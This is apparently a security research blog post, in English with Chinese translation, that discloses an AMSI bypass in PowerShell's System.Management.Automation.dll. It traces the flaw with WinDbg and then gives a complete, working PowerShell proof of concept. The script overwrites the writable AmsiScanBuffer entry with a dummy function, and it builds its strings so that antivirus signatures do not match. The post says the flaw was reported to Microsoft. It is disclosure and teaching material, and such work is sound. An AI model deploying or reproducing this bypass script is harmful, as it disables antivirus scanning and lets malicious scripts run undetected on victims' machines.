In this blog post, we’ll introduce a new bypass technique designed to bypass AMSI without the VirtualProtect API and without changing memory protection. We’ll introduce this vulnerability, discovered by OffSec Technical Trainer Victor “Vixx” Khoury, and discuss how he discovered the flaw, the process he used to exploit it and build proof of concept code to bypass AMSI in PowerShell 5.1 and PowerShell 7.4.
在这篇博文中,我们将介绍一种新的绕过技术,该技术旨在绕过 AMSI,而无需 VirtualProtect API 且不更改内存保护。我们将介绍这个漏洞,该漏洞由 OffSec 技术培训师 Victor “Vixx” Khoury 发现,并讨论他如何发现该漏洞,以及他利用该漏洞并构建概念验证代码以绕过 PowerShell 5.1 和 PowerShell 7.4 中的 AMSI 的过程。
Introducing the AMSI vulnerability
AMSI 漏洞简介
Microsoft’s Anti-Malware Scan Interface (AMSI), available in Windows 10 and later versions of Windows, was designed to help detect and prevent malware. AMSI is an interface that integrates various security applications (such as antivirus or anti-malware software) into applications and software, inspecting their behavior before they are executed. OffSec Technical Trainer Victor “Vixx” Khoury discovered a writable entry inside System.Management.Automation.dll which contains the address of AmsiScanBuffer, a critical component of AMSI which should have been marked read-only, similar to the Import Address Table (IAT) entries. In this blog post, we will outline this vulnerability and reveal how Vixx leveraged this into a 0-day AMSI bypass. This vulnerability was reported to Microsoft on 8 April 2024.
Microsoft 的反恶意软件扫描界面 (AMSI) 在 Windows 10 及更高版本的 Windows 中可用,旨在帮助检测和预防恶意软件。AMSI 是一个接口,它将各种安全应用程序(例如防病毒或反恶意软件)集成到应用程序和软件中,在执行之前检查其行为。 OffSec 技术培训师 Victor “Vixx” Khoury 在 System.Management.Automation.dll 中发现了一个可写条目,其中包含 AmsiScanBuffer 的地址,AmsiScanBuffer 是 AMSI 的一个关键组件,应该标记为只读,类似于导入地址表 (IAT) 条目。在这篇博文中,我们将概述此漏洞,并揭示 Vixx 如何利用该漏洞进行 0 天 AMSI 绕过。此漏洞已于 2024 年 4 月 8 日报告给 Microsoft。
Throughout this blog post, we’ll use the latest version of Windows 11 and Windbg, which we discuss in detail in various OffSec Learning Modules.
在这篇博文中,我们将使用最新版本的 Windows 11 和 Windbg,我们在各种 OffSec 学习模块中详细讨论了它们。
We’ll also focus on AMSI, and leverage 64-bit Intel assembly as well as PowerShell, which we also discuss in detail in various OffSec Learning Modules. OffSec Learners can access links to each of these prerequisite Modules in the Student Portal.
我们还将重点介绍 AMSI,并利用 64 位 Intel 程序集和 PowerShell,我们还在各种 OffSec 学习模块中详细讨论。OffSec 学习者可以在学生门户中访问这些先决条件模块的链接。
AMSI Background AMSI背景
Microsoft’s Antimalware Scan Interface (AMSI) allows run-time inspection of various applications, services and scripts.
Microsoft 的反恶意软件扫描接口 (AMSI) 允许对各种应用程序、服务和脚本进行运行时检查。
Most AMSI bypasses corrupt a function or a field inside the AMSI library Amsi.dll which crashes AMSI, effectively bypassing it. Beyond crashing or patching Amsi.dll, attackers can bypass AMSI with CLR Hooking, which involves changing the protection of the ScanContent function by invoking VirtualProtect and overwriting it with a hook that returns TRUE. While VirtualProtect itself is not inherently malicious, malware can misuse it to modify memory in ways that could evade detection by Endpoint Detection and Response (EDR) systems and anti-virus (AV) software. Given the high profile of this attack vector, most advanced attackers generally avoid calling this API.
大多数 AMSI 绕过会破坏 AMSI 库Amsi.dll中的函数或字段,从而使 AMSI 崩溃,从而有效地绕过它。除了崩溃或修补Amsi.dll之外,攻击者还可以使用 CLR 挂钩绕过 AMSI,这涉及通过调用 VirtualProtect 并使用返回 TRUE 的钩子覆盖它来更改对 ScanContent 函数的保护。虽然 VirtualProtect 本身并不是恶意的,但恶意软件可能会滥用它来修改内存,从而逃避端点检测和响应 (EDR) 系统和防病毒 (AV) 软件的检测。鉴于此攻击媒介的知名度很高,大多数高级攻击者通常避免调用此 API。
In this blog post, we’ll reveal a newly-discovered technique to bypass AMSI.
在这篇博文中,我们将揭示一种新发现的绕过AMSI的技术。
Let’s begin by inspecting the AmsiScanBuffer function of Amsi.dll which scans a memory buffer for malware. Many applications and services leverage this function. Within the .NET framework, the Common Language Runtime (CLR) leverages the ScanContent function in the AmsiUtils Class inside System.Management.Automation.dll, which is part of PowerShell’s core libraries and leads to the AmsiScanBuffer call.
让我们首先检查 Amsi.dll 的 AmsiScanBuffer 函数,该函数扫描内存缓冲区中的恶意软件。许多应用程序和服务都利用此功能。在 .NET 框架中,公共语言运行时 (CLR) 利用 System.Management.Automation.dll 内部 AmsiUtils 类中的 ScanContent 函数,该函数是 PowerShell 核心库的一部分,并导致 AmsiScanBuffer 调用。
Running [PSObject].Assembly.Location in PowerShell exposes the location of this DLL, which we can reverse with dnsspy.
正在运行 [PSObject]。PowerShell 中的 Assembly.Location 公开此 DLL 的位置,我们可以用 dnsspy 反转该 DLL。
Click to expand 点击展开
Let’s dig in to this interesting AMSI bypass.
让我们深入研究这个有趣的 AMSI 旁路。
Analysis / Reverse Engineering
分析/逆向工程
We’ll start by demonstrating how Vixx discovered this. To begin, we’ll attach PowerShell to windbg. We’ll then set a breakpoint on the AmsiScanBuffer function, which at this point is the only function we know will be triggered when AMSI engages.
我们将首先演示 Vixx 是如何发现这一点的。首先,我们将 PowerShell 附加到 windbg。然后,我们将在 AmsiScanBuffer 函数上设置一个断点,此时我们知道在 AMSI 启用时将触发该函数。
Click to expand
Next, we’ll run any random string in PowerShell (like ‘Test’) to trigger the breakpoint. Then, we’ll run the k command in windbg to check the call stack.
Click to expand
As mentioned, most bypasses patch the actual AmsiScanBuffer in Amsi.dll. But in this case, our goal is to target something in the System Management Automation ni module that leads to the AmsiScanbuffer call.
Let’s unassemble backwards (with the ub command) from offset 0x1071757 (+0x1071757) of System Management Automation ni, the second entry that initiated the call to AmsiScanBuffer and see what’s going on.
Click to expand
In this case, call rax is the actual call to AmsiScanBuffer. One way to bypass AMSI is to patch call rax, which requires VirtualProtect.
But when Vixx followed the dereferences before the call to see how rax was populated, he noticed that the address where AmsiScanBuffer is fetched is actually already writable, which opens the possibility for a different AMSI bypass.
Click to expand
Now that we’ve found this, let’s attempt to understand why this happens and if it’s possible to overwrite that entry with a dummy function in order to bypass AMSI.
Exploiting the Vulnerable Entry
After discovering this, Vixx set out to understand why this entry was writable and why it was not protected like the Import Address Table (IAT). Let’s walk through his analysis of this writable entry and try to understand how it is populated.
First, we’ll get the offset between our writable entry and System.Management.Automation.ni.dll. Let’s highlight a few key commands.
First, We need to follow the dereferences highlighted with the 3 mov instructions, that will end up populating rax with the address of AmsiScanBuffer.
We’ll use dqs to display a quadword (64 bits) that is 80 bytes (0x50) before the base pointer register rdp, the base of the current stack frame. We’re displaying one line of output (L1) which matches the output format of the first mov instruction mov r1l, qword ptr [rbp-50h], and the value we received will be saved in r11 based on the mov instruction.
We’ll then use dqs to display a quadword at 0x7ffa27c52940 (r11) + 0x20 which matches the format of the second mov instruction mov r11, qword ptr [r11+20h]. This reveals the address 0x7ffa27e06b00 which will be saved in r11 again based on the mov instruction.
We’ll then use dqs to display a quadword at 0x7ffa27e06b00 (r11) which matches the format of the last mov instruction mov rax, qword ptr [r11]. This reveals the address of AmsiScanBuffer (0x7ffacfcc8260) which will be saved in rax and called using call rax later.
然后,我们将使用 dqs 在 0x7ffa27e06b00 (r11) 处显示一个四字,它与最后一个 mov 指令 mov rax 的格式匹配,qword ptr [r11]。这将显示 AmsiScanBuffer (0x7ffacfcc8260) 的地址,该地址将保存在 rax 中,稍后使用 call rax 调用。
We are interested in the entry that contains AmsiScanBuffer which is 0x7ffa27e06b00. This is labeled with a calculated offset (0x786b00) from the base address of System Management Automation ni.
我们对包含 AmsiScanBuffer 的条目感兴趣,该条目是0x7ffa27e06b00。这标有与 System Management Automation ni 基址的计算偏移量 (0x786b00)。
Next, we’ll use ? to evaluate an expression, calculating the difference between 0x7ffa27e06b00 and the base address of System Management Automation ni. This confirms the offset between the given memory address and the base address of the DLL (0x786b00).
接下来,我们将使用 ?计算表达式,计算 0x7ffa27e06b00 与 System Management Automation ni 的基址之间的差值。这将确认给定内存地址与 DLL 的基址 (0x786b00) 之间的偏移量。
Click to expand 点击展开
In this case, the offset is 0x786b00. This offset may change depending on the local machine and version of CLR.
在这种情况下,偏移量为 0x786b00。此偏移量可能会因本地计算机和 CLR 版本而异。
We can use this offset to break on read and write when the DLL is loaded and trace how this entry is being populated and accessed.
我们可以在加载 DLL 时使用此偏移量在读取和写入时中断,并跟踪此条目的填充和访问方式。
Let’s start windbg with powershell.exe as an argument.
让我们以 powershell.exe 作为论据开始 windbg。
Click to expand 点击展开
Next, we’ll break when System.Management.Automation.ni.dll is loaded into powershell with sxe ld System.Management.Automation.ni.dll. Then, we’ll break on read / write at System Management Automation ni + 0x786b00 to determine how it is populated and what is accessing this entry.
接下来,当使用 sxe ld System.Management.Automation.ni.dll 将System.Management.Automation.ni.dll加载到 powershell 时,我们将中断。然后,我们将在System Management Automation ni + 0x786b00中断读/写,以确定它的填充方式以及访问此条目的内容。
Click to expand 点击展开
Windbg will break right after the instruction that wrote or read from that memory address, so we’ll need to unassemble back (ub) to see what happened.
Windbg 将在从该内存地址写入或读取的指令后立即中断,因此我们需要重新汇编 (ub) 以查看发生了什么。
Click to expand 点击展开
According to the output, our breakpoint at the SetNDirectTarget method of clrlNDirectMethodDesc was triggered, specifically 60 bytes (+0x3c) offset into the function at the mov rbx, qword ptr [rsp+30h] instruction. Next, we displayed the assembly code before the current instruction with ub clr!NDirectMethodDesc::SetNDirectTarget+Ox1e:.
根据输出,我们在 clrlNDirectMethodDesc 的 SetNDirectTarget 方法处触发了断点,特别是在 mov rbx、qword ptr [rsp+30h] 指令中偏移到函数中 60 字节 (+0x3c)。接下来,我们用 ub clr 在当前指令之前显示汇编代码!NDirectMethodDesc::SetNDirectTarget+Ox1e:。
Next, our u @rbx L1 instruction revealed that rbx, which contains the AmsiScanBuffer routine address, was written to r14 which contains the entry we are interested in.
接下来,我们的 u @rbx L1 指令显示,包含 AmsiScanBuffer 例程地址的 rbx 被写入 r14,其中包含我们感兴趣的条目。
If we check the call stack, we will see that this action was part of the clr!ThePreStub routine.
如果我们检查调用堆栈,我们将看到此操作是 clr 的一部分!ThePreStub 例程。
Click to expand
Let’s continue execution.
Click to expand 点击展开
This reveals that the mov rax,qword ptr [r11] instruction also accesses this entry, but if we take a closer look, we will notice that this leads to call rax which is the call to AmsiScanBuffer that we saw earlier. This is the ScanContent function calling AmsiScanBuffer.
这表明 mov rax,qword ptr [r11] 指令也访问此条目,但如果我们仔细观察,我们会注意到这会导致调用 rax,这是我们之前看到的对 AmsiScanBuffer 的调用。这是调用 AmsiScanBuffer 的 ScanContent 函数。
This indicates that the entry was accessed when PowerShell initially loaded, writing the AmsiScanBuffer address followed by subsequent reads and a call to the AmsiScanBuffer function.
这表示在 PowerShell 最初加载时访问了该条目,写入 AmsiScanBuffer 地址,然后进行后续读取并调用 AmsiScanBuffer 函数。
Let’s take a moment to discuss clr!ThePreStub, a helper function in .NET Framework that prepares the code for initial execution, which includes just-in-time (JIT) compilation. This creates a stub that will sit between the callee and original caller-side function.
让我们花点时间讨论一下 clr!ThePreStub 是 .NET Framework 中的一个帮助程序函数,用于准备用于初始执行的代码,其中包括实时 (JIT) 编译。这将创建一个存根,该存根将位于被调用方和原始调用方函数之间。
In short, it prepares the code for JIT. According to Matt Warren, the process looks something like this:
简而言之,它为 JIT 准备代码。根据 Matt Warren 的说法,该过程如下所示:
Click to expand 点击展开
In summary, as part of JIT, the helper function writes the AmsiScanBuffer address in the DLL entry address at offset 0x786b00, but it does not change the permissions back to read-only. We can abuse this vulnerability by overwriting that entry to bypass AMSI without invoking VirtualProtect.
总之,作为 JIT 的一部分,帮助程序函数在偏移量 0x786b00 处将 AmsiScanBuffer 地址写入 DLL 条目地址,但不会将权限更改回只读。我们可以通过覆盖该条目来绕过 AMSI,而无需调用 VirtualProtect,从而滥用此漏洞。
Coding the Bypass in PowerShell
在 PowerShell 中对旁路进行编码
Now we can start coding a proof of concept in PowerShell. We could use the System_Management_Automation_ni + 0x786b00 offset to overwrite the entry in our code, but this approach is not entirely practical because the offset can change based on the machine and the installed version of CLR.
现在,我们可以开始在 PowerShell 中编写概念证明。我们可以使用 System_Management_Automation_ni + 0x786b00 偏移量来覆盖代码中的条目,但这种方法并不完全实用,因为偏移量可能会根据计算机和安装的 CLR 版本而变化。
A better approach would be to read 0x1000000 bytes backwards from the memory address of ScanContent using ReadProcessMemory and save the bytes in an array, which we can loop through until we find the AmsiScanBuffer address and the offset.
更好的方法是使用 ReadProcessMemory 从 ScanContent 的内存地址向后读取 0x1000000 个字节,并将字节保存在一个数组中,我们可以循环访问该数组,直到找到 AmsiScanBuffer 地址和偏移量。
While testing that approach in PowerShell versions 5 and 7, Vixx ran into access problems reading the full 0x1000000 bytes at once with a single ReadProcessMemory call. He also discovered that reading the bytes one at a time was slow, requiring millions of ReadProcessMemory calls which was noisy and inefficient. He found a middle ground, opting to split the data into 0x50000 (32KB) chunks.
Let’s start building the code. In the first section of code, we’ll load and import the required APIs in C#.
In this code, we’ll define an APIs class with several external function declarations that we’ve imported from kernel32.dll using the DllImport attribute. Our class also contains a Dummy method which returns an integer. Finally, we’ll use the Add-Type cmdlet to compile this in-memory assembly and add this class to the current PowerShell session. We’ll use this dummy function later to overwrite the writable entry that contains AmsiScanBuffer.
```
$APIs = @"
using System;
using System.ComponentModel;
using System.Management.Automation;
using System.Reflection;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
using System.Text;
public class APIs {
[DllImport("kernel32.dll")]
public static extern bool ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, UInt32 nSize, ref UInt32 lpNumberOfBytesRead);
[DllImport("kernel32.dll")]
public static extern IntPtr GetCurrentProcess();
[DllImport("kernel32", CharSet=CharSet.Ansi, ExactSpelling=true, SetLastError=true)]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32.dll", CharSet=CharSet.Auto)]
public static extern IntPtr GetModuleHandle([MarshalAs(UnmanagedType.LPWStr)] string lpModuleName);
[MethodImpl(MethodImplOptions.NoOptimization | MethodImplOptions.NoInlining)]
public static int Dummy() {
return 1;
}
}
"@
Add-Type $APIs
```
In-Memory Assembly and Dummy Function
内存中程序集和虚拟功能
Next, we need fetch the function address of AmsiScanBuffer in memory using GetModuleHandle and GetProcAddress.
接下来,我们需要使用 GetModuleHandle 和 GetProcAddress 在内存中获取 AmsiScanBuffer 的函数地址。
We need to run GetModuleHandle on Amsi.dll to get the address of Amsi.dll in memory and next GetProcAddress on AmsiScanBuffer to get the address of AmsiScanBuffer in memory.
我们需要在 Amsi.dll 上运行 GetModuleHandle 以获取内存中 Amsi.dll 的地址,然后在 AmsiScanBuffer 上运行 GetProcAddress 以获取内存中 AmsiScanBuffer 的地址。
However, we need to be careful here. We don’t want to use the strings Amsi.dll and AmsiScanbuffer as these are AV signatures that will trigger most AV products. Instead, Vixx recommends some clever string replacements to build these strings.
但是,我们在这里需要小心。我们不想使用字符串 Amsi.dll 和 AmsiScanbuffer,因为这些是会触发大多数 AV 产品的 AV 签名。相反,Vixx 推荐一些巧妙的字符串替换来构建这些字符串。
Let’s search for AmsiScanBuffer in System.Management.Automation.dll, working backwards from ScanContent.
让我们在 System.Management.Automation.dll 中搜索 AmsiScanBuffer,从 ScanContent 向后工作。
This AmsiScanBuffer will be the address that we will search for in System.Management.Automation.dll, working backwards from ScanContent.
这个 AmsiScanBuffer 将是我们将在 System.Management.Automation.dll 中搜索的地址,从 ScanContent 向后工作。
```
$string = 'hello, world'
$string = $string.replace('he','a')
$string = $string.replace('ll','m')
$string = $string.replace('o,','s')
$string = $string.replace(' ','i')
$string = $string.replace('wo','.d')
$string = $string.replace('rld','ll')
$string2 = 'hello, world'
$string2 = $string2.replace('he','A')
$string2 = $string2.replace('ll','m')
$string2 = $string2.replace('o,','s')
$string2 = $string2.replace(' ','i')
$string2 = $string2.replace('wo','Sc')
$string2 = $string2.replace('rld','an')
$string3 = 'hello, world'
$string3 = $string3.replace('hello','Bu')
$string3 = $string3.replace(', ','ff')
$string3 = $string3.replace('world','er')
$Address = [APIS]::GetModuleHandle($string)
[IntPtr] $funcAddr = [APIS]::GetProcAddress($Address, $string2 + $string3)
```
Fetching AmsiScanBuffer Address
获取 AmsiScanBuffer 地址
Since the ScanContent function is inside AmsiUtils class which is inside System.Management.Automation.dll we’ll have to perform a few steps to find this function in our code.
由于 ScanContent 函数位于 AmsiUtils 类中,而 AmsiUtils 类位于 System.Management.Automation.dll 中,因此我们必须执行几个步骤才能在代码中找到此函数。
First, we’ll loop through the loaded assemblies in PowerShell until we find the System.Management.Automation.dll assembly.
首先,我们将在 PowerShell 中循环访问加载的程序集,直到找到System.Management.Automation.dll程序集。
Next, we’ll retrieve all the classes inside that assembly and loop through them until we find the AmsiUtils class.
接下来,我们将检索该程序集中的所有类并遍历它们,直到找到 AmsiUtils 类。
Finally, we’ll retrieve all the members inside that class and loop through them until we find ScanContent.
最后,我们将检索该类中的所有成员并循环访问它们,直到找到 ScanContent。
Here’s the code: 代码如下:
```
$Assemblies = [appdomain]::currentdomain.getassemblies()
$Assemblies |
ForEach-Object {
if($_.Location -ne $null){
$split1 = $_.FullName.Split(",")[0]
If($split1.StartsWith('S') -And $split1.EndsWith('n') -And $split1.Length -eq 28) {
$Types = $_.GetTypes()
}
}
}
$Types |
ForEach-Object {
if($_.Name -ne $null){
If($_.Name.StartsWith('A') -And $_.Name.EndsWith('s') -And $_.Name.Length -eq 9) {
$Methods = $_.GetMethods([System.Reflection.BindingFlags]'Static,NonPublic')
}
}
}
$Methods |
ForEach-Object {
if($_.Name -ne $null){
If($_.Name.StartsWith('S') -And $_.Name.EndsWith('t') -And $_.Name.Length -eq 11) {
$MethodFound = $_
}
}
}
```
Script Searches 脚本搜索
Now that we have the function, we’ll use ReadProcessMemory to read 0x1000000 bytes (0x50000 bytes or 32KB at a time) from the current process starting from ScanContent going backwards until we find the address of AmsiScanBuffer.
现在我们有了这个函数,我们将使用 ReadProcessMemory 从当前进程中读取 0x1000000 字节(一次 0x50000 字节或 32KB),从 ScanContent 开始向后,直到我们找到 AmsiScanBuffer 的地址。
Our proof of concept will take four arguments.
我们的概念证明将采用四个论点。
The first argument will be $InitialStart, which is the negative offset from ScanContent that indicates where the search starts. In this case, we’ll set it to the default value of 0x5000 which means we will start searching -0x50000 bytes from ScanContent.
第一个参数将是 $InitialStart,它是指示搜索开始位置的 ScanContent 的负偏移量。在本例中,我们会将其设置为默认值 0x5000,这意味着我们将开始从 ScanContent 中搜索 -0x50000 字节。
Second, we have $NegativeOffset which is the offset to subtract in each loop from the $InitialStart. In each loop we will read another 0x50000 bytes, going backwards.
其次,我们有$NegativeOffset,即从$InitialStart中减去每个循环的偏移量。在每个循环中,我们将读取另一个 0x50000 字节,向后。
Next, we have $ReadBytes which is the number of bytes to read with each iteration of ReadProcessMemory. Here we will also read 0x50000 bytes at a time.
接下来,我们有$ReadBytes,这是 ReadProcessMemory 每次迭代要读取的字节数。在这里,我们还将一次读取 0x50000 个字节。
Finally, $MaxOffset is the total number of bytes we’ll search starting from ScanContent, which will be 0x1000000.
最后,$MaxOffset是我们将从 ScanContent 开始搜索的总字节数,这将是0x1000000。
Let’s add the code for each of these parameters to our proof of concept.
让我们将每个参数的代码添加到概念证明中。
```
# Define named parameters
param(
$InitialStart = 0x50000,
$NegativeOffset= 0x50000,
$MaxOffset = 0x1000000,
$ReadBytes = 0x50000
)
```
Script Parameters 脚本参数
Next, we’ll set up our loops. The first loop will read 0x50000 bytes at a time and the second loop will search the array byte-by-byte comparing each 8 bytes to the address of AmsiScanBuffer until a match is found, at which point the loop will break.
接下来,我们将设置循环。第一个循环将一次读取 0x50000 个字节,第二个循环将逐字节搜索数组,将每个 8 个字节与 AmsiScanBuffer 的地址进行比较,直到找到匹配项,此时循环将中断。
```
[IntPtr] $MethodPointer = $MethodFound.MethodHandle.GetFunctionPointer()
[IntPtr] $Handle = [APIs]::GetCurrentProcess()
$dummy = 0
:initialloop for($j = $InitialStart; $j -lt $MaxOffset; $j += $NegativeOffset){
[IntPtr] $MethodPointerToSearch = [Int64] $MethodPointer - $j
$ReadedMemoryArray = [byte[]]::new($ReadBytes)
$ApiReturn = [APIs]::ReadProcessMemory($Handle, $MethodPointerToSearch, $ReadedMemoryArray, $ReadBytes,[ref]$dummy)
for ($i = 0; $i -lt $ReadedMemoryArray.Length; $i += 1) {
$bytes = [byte[]]($ReadedMemoryArray[$i], $ReadedMemoryArray[$i + 1], $ReadedMemoryArray[$i + 2], $ReadedMemoryArr>
[IntPtr] $PointerToCompare = [bitconverter]::ToInt64($bytes,0)
if ($PointerToCompare -eq $funcAddr) {
Write-Host "Found @ $($i)!"
[IntPtr] $MemoryToPatch = [Int64] $MethodPointerToSearch + $i
break initialloop
}
}
}
```
Script Loops 脚本循环
After finding the entry address containing AmsiScanBuffer, we’ll replace it with our Dummy function (without using VirtualProtect).
找到包含 AmsiScanBuffer 的入口地址后,我们将用 Dummy 函数替换它(不使用 VirtualProtect)。
```
[IntPtr] $DummyPointer = [APIs].GetMethod('Dummy').MethodHandle.GetFunctionPointer()
$buf = [IntPtr[]] ($DummyPointer)
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $MemoryToPatch, 1)
```
Dummy Function Inject 虚拟功能注入
Here’s our completed code, which is also available on Vixx’s GitHub repo:
下面是我们完成的代码,也可以在 Vixx 的 GitHub 存储库中找到:
```
function MagicBypass {
# Define named parameters
param(
$InitialStart = 0x50000,
$NegativeOffset= 0x50000,
$MaxOffset = 0x1000000,
$ReadBytes = 0x50000
)
$APIs = @"
using System;
using System.ComponentModel;
using System.Management.Automation;
using System.Reflection;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
using System.Text;
public class APIs {
[DllImport("kernel32.dll")]
public static extern bool ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, UInt32 nSize, ref UInt32 lpNumberOfBytesRead);
[DllImport("kernel32.dll")]
public static extern IntPtr GetCurrentProcess();
[DllImport("kernel32", CharSet=CharSet.Ansi, ExactSpelling=true, SetLastError=true)]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32.dll", CharSet=CharSet.Auto)]
public static extern IntPtr GetModuleHandle([MarshalAs(UnmanagedType.LPWStr)] string lpModuleName);
[MethodImpl(MethodImplOptions.NoOptimization | MethodImplOptions.NoInlining)]
public static int Dummy() {
return 1;
}
}
"@
Add-Type $APIs
$InitialDate=Get-Date;
$string = 'hello, world'
$string = $string.replace('he','a')
$string = $string.replace('ll','m')
$string = $string.replace('o,','s')
$string = $string.replace(' ','i')
$string = $string.replace('wo','.d')
$string = $string.replace('rld','ll')
$string2 = 'hello, world'
$string2 = $string2.replace('he','A')
$string2 = $string2.replace('ll','m')
$string2 = $string2.replace('o,','s')
$string2 = $string2.replace(' ','i')
$string2 = $string2.replace('wo','Sc')
$string2 = $string2.replace('rld','an')
$string3 = 'hello, world'
$string3 = $string3.replace('hello','Bu')
$string3 = $string3.replace(', ','ff')
$string3 = $string3.replace('world','er')
$Address = [APIS]::GetModuleHandle($string)
[IntPtr] $funcAddr = [APIS]::GetProcAddress($Address, $string2 + $string3)
$Assemblies = [appdomain]::currentdomain.getassemblies()
$Assemblies |
ForEach-Object {
if($_.Location -ne $null){
$split1 = $_.FullName.Split(",")[0]
If($split1.StartsWith('S') -And $split1.EndsWith('n') -And $split1.Length -eq 28) {
$Types = $_.GetTypes()
}
}
}
$Types |
ForEach-Object {
if($_.Name -ne $null){
If($_.Name.StartsWith('A') -And $_.Name.EndsWith('s') -And $_.Name.Length -eq 9) {
$Methods = $_.GetMethods([System.Reflection.BindingFlags]'Static,NonPublic')
}
}
}
$Methods |
ForEach-Object {
if($_.Name -ne $null){
If($_.Name.StartsWith('S') -And $_.Name.EndsWith('t') -And $_.Name.Length -eq 11) {
$MethodFound = $_
}
}
}
[IntPtr] $MethodPointer = $MethodFound.MethodHandle.GetFunctionPointer()
[IntPtr] $Handle = [APIs]::GetCurrentProcess()
$dummy = 0
$ApiReturn = $false
:initialloop for($j = $InitialStart; $j -lt $MaxOffset; $j += $NegativeOffset){
[IntPtr] $MethodPointerToSearch = [Int64] $MethodPointer - $j
$ReadedMemoryArray = [byte[]]::new($ReadBytes)
$ApiReturn = [APIs]::ReadProcessMemory($Handle, $MethodPointerToSearch, $ReadedMemoryArray, $ReadBytes,[ref]$dummy)
for ($i = 0; $i -lt $ReadedMemoryArray.Length; $i += 1) {
$bytes = [byte[]]($ReadedMemoryArray[$i], $ReadedMemoryArray[$i + 1], $ReadedMemoryArray[$i + 2], $ReadedMemoryArray[$i + 3], $ReadedMemoryArray[$i + 4], $ReadedMemoryArray[$i + 5], $ReadedMemoryArray[$i + 6], $ReadedMemoryArray[$i + 7])
[IntPtr] $PointerToCompare = [bitconverter]::ToInt64($bytes,0)
if ($PointerToCompare -eq $funcAddr) {
Write-Host "Found @ $($i)!"
[IntPtr] $MemoryToPatch = [Int64] $MethodPointerToSearch + $i
break initialloop
}
}
}
[IntPtr] $DummyPointer = [APIs].GetMethod('Dummy').MethodHandle.GetFunctionPointer()
$buf = [IntPtr[]] ($DummyPointer)
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $MemoryToPatch, 1)
$FinishDate=Get-Date;
$TimeElapsed = ($FinishDate - $InitialDate).TotalSeconds;
Write-Host "$TimeElapsed seconds"
}
```
Complete AMSI Write Raid Bypass
完成 AMSI 写入 RAID 旁路
Let’s save this as universal3.ps1 in a web-accessible directory. Next, we’ll open PowerShell 5.1 and show that AMSI is in place as it blocks amsiutils. AmsiUtils is the class that contains the AmsiScanBuffer routine, so when the AV sees any reference to AmsiUtils, it assumes we are trying to bypass AMSI and block it. Then we’ll launch our proof of concept with IEX. We’ll use the default parameters (which may change based on the version of Windows or CLR). Finally, we’ll try to run amsiutils again to see if the bypass was successful.
让我们将其保存为 universal3.ps1 在可访问的 Web 目录中。接下来,我们将打开 PowerShell 5.1,并显示 AMSI 已到位,因为它阻止了 amsiutils。AmsiUtils 是包含 AmsiScanBuffer 例程的类,因此当 AV 看到对 AmsiUtils 的任何引用时,它假定我们试图绕过 AMSI 并阻止它。然后,我们将使用 IEX 启动概念验证。我们将使用默认参数(可能会根据 Windows 或 CLR 版本而更改)。最后,我们将尝试再次运行 amsiutils,看看绕过是否成功。
Click to expand 点击展开
It worked! We bypassed AMSI and successfully ran amsiutils. Let’s try this on PowerShell 7.4.
成功了!我们绕过了 AMSI 并成功运行了 amsiutils。让我们在 PowerShell 7.4 上尝试一下。
Click to expand 点击展开
Our AMSI Write Raid also worked against PowerShell 7.4! This will bypass Microsoft Defender and most other AV products that use AMSI.
我们的 AMSI Write Raid 也适用于 PowerShell 7.4!这将绕过Microsoft Defender和大多数使用AMSI的其他AV产品。
Wrapping Up 结束语
In this blog post, we discussed how OffSec Technical Trainer Victor “Vixx” Khoury discovered an advanced bypass “AMSI Write Raid” vulnerability that can bypass AMSI without leveraging the VirtualProtect API. This technique exploits a writable entry inside System.Management.Automation.dll, to manipulate the address of AmsiScanBuffer and circumvent AMSI without changing memory protection settings. We introduced and analyzed a proof of concept PowerShell script which bypassed AMSI in both PowerShell 5 and 7.
在这篇博文中,我们讨论了 OffSec 技术培训师 Victor “Vixx” Khoury 如何发现一个高级绕过“AMSI Write Raid”漏洞,该漏洞可以在不利用 VirtualProtect API 的情况下绕过 AMSI。此技术利用 System.Management.Automation.dll 中的可写条目来操作 AmsiScanBuffer 的地址并规避 AMSI,而无需更改内存保护设置。我们引入并分析了一个概念证明 PowerShell 脚本,该脚本在 PowerShell 5 和 7 中都绕过了 AMSI。